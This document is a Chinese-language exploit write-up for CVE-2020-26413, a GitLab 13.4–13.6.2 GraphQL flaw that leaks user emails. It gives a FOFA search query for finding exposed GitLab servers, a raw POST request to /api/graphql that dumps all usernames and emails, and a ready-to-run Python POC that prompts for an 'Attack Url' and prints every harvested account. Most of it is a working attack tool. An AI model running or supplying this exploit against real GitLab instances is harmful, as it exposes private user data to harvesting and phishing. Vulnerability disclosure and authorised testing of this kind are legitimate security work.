GitLab Graphql邮箱信息泄露漏洞 CVE-2020-26413

漏洞描述

GitLab中存在Graphql接口 输入构造的数据时会泄露用户邮箱和用户名

漏洞影响

Note

GitLab 13.4 - 13.6.2

FOFA

Note

title="GitLab"

漏洞复现

漏洞来源为 hackone上的一篇公开报告

Able to leak private email of any user given his/her username via graphql (#244275) · Issues · GitLab.org / GitLab · GitLabGitLab

意思为当使用构造的语句在接口查询时会返回邮箱信息，如图

访问 URL http://xxx.xxx.xxx.xxx/-//graphql-explorer

Gitlab本身不允许获取账号邮箱信息，这里通过调用 Graphql 用户名查询造成了邮箱泄露漏洞

查看完报告后发现漏洞利用需要有账号用户名，在不知道的情况下无法获取邮箱，在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱

发包调用了 /api/graphql 接口发送数据

完整数据包为

POST /api/graphql HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 212
Content-Type: application/json


{"query":"{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }","variables":null,"operationName":null}

成功返回数据，造成 Gitlab的用户邮箱信息泄露

漏洞利用POC

import requests
import sys
import random
import re
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
    print('+  \033[34mVersion: GitLab 13.4 - 13.6.2                                     \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/api/graphql"
    user_number = 0
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "application/json",
    }
    try:
        data = """
        {"query":"{\\nusers {\\nedges {\\n  node {\\n    username\\n    email\\n    avatarUrl\\n    status {\\n      emoji\\n      message\\n      messageHtml\\n     }\\n    }\\n   }\\n  }\\n }","variables":null,"operationName":null}
        """
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5)
        if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200:
            print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url))
            for i in range(0,999):
                try:
                    username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"]
                    email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"]
                    user_number = user_number + 1
                    print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email))
                except:
                    print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number))
                    sys.exit(0)
        else:
            print("\033[31m[x] 不存在漏洞 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)

Goby & POC

已上传 https://github.com/PeiQi0/PeiQi-WIKI-POC Goby & POC 目录中

GitLab_Graphql_Email_information_disclosure.json